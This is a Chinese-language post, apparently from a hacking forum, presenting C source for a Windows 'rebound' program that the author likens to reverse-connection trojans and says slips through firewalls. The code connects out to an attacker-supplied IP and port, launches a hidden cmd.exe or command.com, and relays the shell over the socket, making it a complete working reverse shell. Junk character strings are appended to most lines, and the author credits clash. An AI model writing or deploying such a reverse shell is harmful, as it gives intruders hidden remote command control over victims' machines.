这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g^x=y
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/* ============================== ef_H*e
Rebound port in Windows NT lw99{y3<<
By wind,2006/7 E'98JZ5ga
===============================*/ (y~%6o6
#include :U=3*f.{
#include `'>~(8&zE
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#pragma comment(lib,"wsock32.lib") >Vg [A
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void OutputShell(); 7a^D[f0V
SOCKET sClient; `M{Ne:J
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LI&E.(:
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void main(int argc,char **argv) *SIYZE'
{ Vh2uzG
WSADATA stWsaData; >B=s+}/ME
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; uB3VCO.;_
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if(argc != 3) r :$*pC&{
{ H1L)9oa
printf("Useage:\n\rRebound DestIP DestPort\n"); xx|D#Z}G
return; WPAUY<6f
} ;\6@s3
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WSAStartup(MAKEWORD(2,2),&stWsaData); f F)M'C
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ULBEe@s
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stSaiClient.sin_family = AF_INET; |=0w_)Fa]
stSaiClient.sin_port = htons(0); JbJ!,86
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Kf}*Ij
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @YQ*a4`
{ XjP&
printf("Bind Socket Failed!\n"); /#SfgcDt
return; 9_F&G('V{a
} ]7>#YKH.
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stSaiServer.sin_family = AF_INET; %<+uJ'pj
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3$q#^UvD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GDe,n
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @"A
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{ D&I/Tbc
printf("Connect Error!"); /$]S'[5uF
return; 4o;;'P
} <DPRQhNW]
OutputShell(); jkta]#O
} 6<>1,wbq
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void OutputShell() r_T"b
{ &-p~UZy
char szBuff[1024]; /;/:>c
SECURITY_ATTRIBUTES stSecurityAttributes; {.p;V
OSVERSIONINFO stOsversionInfo; ?U[6X|1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %&VI-7+K
STARTUPINFO stStartupInfo;
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char *szShell; _b>{:H&\
PROCESS_INFORMATION stProcessInformation; 27+faR
unsigned long lBytesRead; ` OgT"FdL!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X%znNx
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s!
stSecurityAttributes.lpSecurityDescriptor = 0; &A.0(s
stSecurityAttributes.bInheritHandle = TRUE; lMh>eX
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E>i<2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FG{,l=Z0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s8 MQ:eAP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `-P1Y
stStartupInfo.wShowWindow = SW_HIDE; 1KGf @u%-1
stStartupInfo.hStdInput = hReadPipe; ,!alNNY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NqD Hrx
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GetVersionEx(&stOsversionInfo); ~@PD\
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switch(stOsversionInfo.dwPlatformId) (ER9.k2
{ }F/w34+;
case 1: >B~?
}@^Gk
szShell = "command.com"; ~_"V7
break; [>pBz3fn,
default: +WR?<*_
szShell = "cmd.exe"; IHi[3xf<
break; @Lf&[_
} 3{t[>O;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X$1YvYsID
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send(sClient,szMsg,77,0); fe`_0lxj
while(1) _[rQt8zn
{ M|h B[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j$XaO%y)
if(lBytesRead) YEaT_zWG0
{ 60$;Q,]o
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _h \L6.
send(sClient,szBuff,lBytesRead,0); &Wb"/Hn2
} [q3zs_nz
else <;W-!R759
{ DCZG'eb
lBytesRead=recv(sClient,szBuff,1024,0); %Cqp88]
if(lBytesRead<=0) break; );JWrkpz
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Qc?W;Q+
} p%sizn
} yp^k;G?_d
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return; 1P1h);*Z
}